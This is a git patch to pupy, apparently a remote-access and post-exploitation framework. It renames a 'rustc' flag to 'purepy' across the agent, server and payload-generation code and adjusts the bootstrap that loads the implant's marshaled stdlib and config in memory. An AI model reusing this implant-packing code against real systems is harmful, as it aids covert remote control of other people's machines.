From 56b7aac6b4c5178b3338951d73ad6de6261323f0 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Tue, 6 Feb 2024 10:13:06 +0100 Subject: [PATCH] fix py and py_oneliner on MacOS --- pupy/agent/memimporter/posix.py | 2 +- pupy/agent/service.py | 4 +-- pupy/cli/pupygen.py | 7 +++-- pupy/external/BeRoot | 2 +- pupy/pupylib/PupyClient.py | 2 +- pupy/pupylib/PupyServer.py | 2 +- pupy/pupylib/PupyService.py | 6 ++-- pupy/pupylib/payloads/dependencies.py | 41 ++++++++++++++++++++------- pupy/pupylib/payloads/py_oneliner.py | 7 ++--- requirements.txt | 1 + 10 files changed, 47 insertions(+), 27 deletions(-) diff --git a/pupy/agent/memimporter/posix.py b/pupy/agent/memimporter/posix.py index 8604f7ed..7942b901 100644 --- a/pupy/agent/memimporter/posix.py +++ b/pupy/agent/memimporter/posix.py @@ -40,7 +40,7 @@ def _does_dest_allows_executable_mappings(folder): return True except IOError as e: - pupy.dprint('Exception during mmap {}: {}', e) + pupy.dprint('Exception during mmap {}', e) return False except OSError as e: diff --git a/pupy/agent/service.py b/pupy/agent/service.py index 0fc85cc6..315a31f5 100644 --- a/pupy/agent/service.py +++ b/pupy/agent/service.py @@ -164,7 +164,7 @@ class ReverseSlaveService(Service): self._conn._config.update(REVERSE_SLAVE_CONF) pupyimporter = __import__('pupyimporter') - is_rustc = "rustc" in sys.version + is_purepy = sys.purepy self._conn.root.initialize_v2( 1, ( sys.version_info.major, @@ -187,7 +187,7 @@ class ReverseSlaveService(Service): for function in dir(pupyimporter) if hasattr(getattr(pupyimporter, function), '__call__') }, - is_rustc + is_purepy ) def on_disconnect(self): diff --git a/pupy/cli/pupygen.py b/pupy/cli/pupygen.py index 40fa078a..20b35af7 100755 --- a/pupy/cli/pupygen.py +++ b/pupy/cli/pupygen.py @@ -355,7 +355,7 @@ def get_edit_apk(target, display, path, conf): try: packed_payload = pack_py_payload( - target, display, get_raw_conf(display, conf), False + target, display, get_raw_conf(display, conf), autostart=False ) shutil.copy(path, tempapk) @@ -1065,7 +1065,7 @@ def pupygen(args, config, pupsrv, display): packed_payload = pack_py_payload( target, display, - get_raw_conf(display, conf, verbose=True) + get_raw_conf(display, conf, verbose=True), purepy=True ) outfile.write( @@ -1083,7 +1083,8 @@ def pupygen(args, config, pupsrv, display): packed_payload = pack_py_payload( target, display, get_raw_conf( display, conf, verbose=True - ) + ), + purepy=True ) if not isinstance(packed_payload, bytes): diff --git a/pupy/external/BeRoot b/pupy/external/BeRoot index d730fc61..52b6f262 160000 --- a/pupy/external/BeRoot +++ b/pupy/external/BeRoot @@ -1 +1 @@ -Subproject commit d730fc61a5e3f57a6d74313e0036682126697669 +Subproject commit 52b6f262a0fe545fa64507ba6b2571ac92f04e3e diff --git a/pupy/pupylib/PupyClient.py b/pupy/pupylib/PupyClient.py index af74b2fa..730302cb 100644 --- a/pupy/pupylib/PupyClient.py +++ b/pupy/pupylib/PupyClient.py @@ -85,7 +85,7 @@ class PupyClient(object): self.platform, self.arch ), debug='debug_logfile' in self.desc, - rustc=self.conn.remote_is_rustc + purepy=self.conn.remote_is_purepy ) self.conn.events_receiver = self._event_receiver diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index 5581b0ee..9c07ce1b 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -655,7 +655,7 @@ class PupyServer(object): def add_client(self, conn): client = None - if conn.remote_is_rustc: + if conn.remote_is_purepy: conn.execute( 'exec({})'.format( reprb( diff --git a/pupy/pupylib/PupyService.py b/pupy/pupylib/PupyService.py index 30204995..b377fdf9 100644 --- a/pupy/pupylib/PupyService.py +++ b/pupy/pupylib/PupyService.py @@ -75,7 +75,7 @@ class PupyService(Service): self.protocol_version = None self.remote_version = (2, 7) - self.remote_is_rustc = False + self.remote_is_purepy = False self.events_receiver = None @@ -150,7 +150,7 @@ class PupyService(Service): register_cleanup, unregister_cleanup, remote_exit, remote_eval, remote_execute, infos, loaded_modules, cached_modules, - pupyimporter, pupyimporter_funcs, is_rustc, *args): + pupyimporter, pupyimporter_funcs, is_purepy, *args): if __debug__: logger.debug( @@ -160,7 +160,7 @@ class PupyService(Service): self.protocol_version = protocol_version self.remote_version = remote_version - self.remote_is_rustc = is_rustc + self.remote_is_purepy = is_purepy if sys.version_info.major == 3 and \ self.remote_version[0] == 2: diff --git a/pupy/pupylib/payloads/dependencies.py b/pupy/pupylib/payloads/dependencies.py index 194451fb..0816c662 100644 --- a/pupy/pupylib/payloads/dependencies.py +++ b/pupy/pupylib/payloads/dependencies.py @@ -53,16 +53,16 @@ class IgnoreFileException(Exception): class Target(object): __slots__ = ( 'os', 'arch', 'pymaj', 'pymin', 'debug', - '_native', '_so', '_platform', '_rustc' + '_native', '_so', '_platform', '_purepy' ) - def __init__(self, python, platform=None, debug=False, rustc=False): + def __init__(self, python, platform=None, debug=False, purepy=False): self.pymaj, self.pymin = python[:2] self.debug = debug self.pymaj = int(self.pymaj) self.pymin = int(self.pymin) - self._rustc = rustc + self._purepy = purepy if platform: self.os, self.arch = platform[:2] @@ -88,8 +88,8 @@ class Target(object): return self._native @property - def rustc(self): - return self._rustc + def purepy(self): + return self._purepy @property def so(self): @@ -279,7 +279,7 @@ def dict2code(d): """ convert a dict into its python code representation, that should be compatible with any python implementation """ -def bootstrap(stdlib, config, autostart=True): +def bootstrap(stdlib, config, autostart=True, purepy=False): if "pupy/agent/__init__.pyo" in stdlib: actions = [ 'from __future__ import absolute_import', @@ -288,7 +288,16 @@ def bootstrap(stdlib, config, autostart=True): 'from __future__ import unicode_literals', 'import importlib.util, sys, marshal', - + ] + if purepy: + actions += [ + 'setattr(sys,"purepy",True)' + ] + else: + actions += [ + 'setattr(sys,"purepy",False)' + ] + actions += [ 'stdlib = marshal.loads({stdlib})', 'config = marshal.loads({config})', 'spec = importlib.util.spec_from_loader("pupy.agent", loader=None)', @@ -321,7 +330,17 @@ def bootstrap(stdlib, config, autostart=True): 'from __future__ import unicode_literals', 'import importlib.util, sys', + ] + if purepy: + actions += [ + 'setattr(sys,"purepy",True)' + ] + else: + actions += [ + 'setattr(sys,"purepy",False)' + ] + actions +=[ 'stdlib = {stdlib}', 'config = {config}', 'spec = importlib.util.spec_from_loader("pupy.agent", loader=None)', @@ -549,7 +568,7 @@ def from_path( base, ext = modpath.rsplit('.', 1) # Garbage removing - if target.rustc: + if target.purepy: if ext == 'py': modpath = base+'.py' if module_code is not None: @@ -617,7 +636,7 @@ def from_path( cur += rep + '/' if ext == '.py': - if target.rustc: + if target.purepy: ext = '.py' else: module_code = pupycompile( @@ -758,7 +777,7 @@ def _package( continue # Garbage removing - if target.rustc: + if target.purepy: if ext == "py": try: content = get_content( @@ -932,7 +951,7 @@ def add_missing_init(target, modules): tab=k.split("/") for i in range(1, len(tab)-1): pathname="/".join(tab[0:i]) - if not target.rustc: + if not target.purepy: f=pathname+"/__init__.pyo" if f not in modules and f not in toadd and f[:-1] not in modules: logger.debug("adding missing {}".format(f)) diff --git a/pupy/pupylib/payloads/py_oneliner.py b/pupy/pupylib/payloads/py_oneliner.py index 5f256578..8d41e8a2 100644 --- a/pupy/pupylib/payloads/py_oneliner.py +++ b/pupy/pupylib/payloads/py_oneliner.py @@ -27,9 +27,9 @@ def getLinuxImportedModules(): return lines -def pack_py_payload(target, display, conf, autostart=True, rustc = True): +def pack_py_payload(target, display, conf, autostart=True, purepy=True): display(Success('Generating PY payload ...')) - target._rustc = rustc # rustc=True force the use of .py files instead of .pyo + target._purepy = purepy # purepy=True force the use of .py files instead of .pyo stdlib = dependencies.importer( target, ( 'pyasn1', 'rsa', 'pyaes', @@ -49,8 +49,7 @@ def pack_py_payload(target, display, conf, autostart=True, rustc = True): ) payload = dependencies.bootstrap( - stdlib, conf, autostart - ) + '\n' + stdlib, conf, autostart, purepy=purepy) + '\n' if target.debug: return payload diff --git a/requirements.txt b/requirements.txt index 816e44eb..218cd37a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -47,3 +47,4 @@ flake8 flake8-per-file-ignores ushlex; python_version<'3' pyuv @ git+https://github.com/n1nj4sec/pyuv@fix-building-against-python311 +tqdm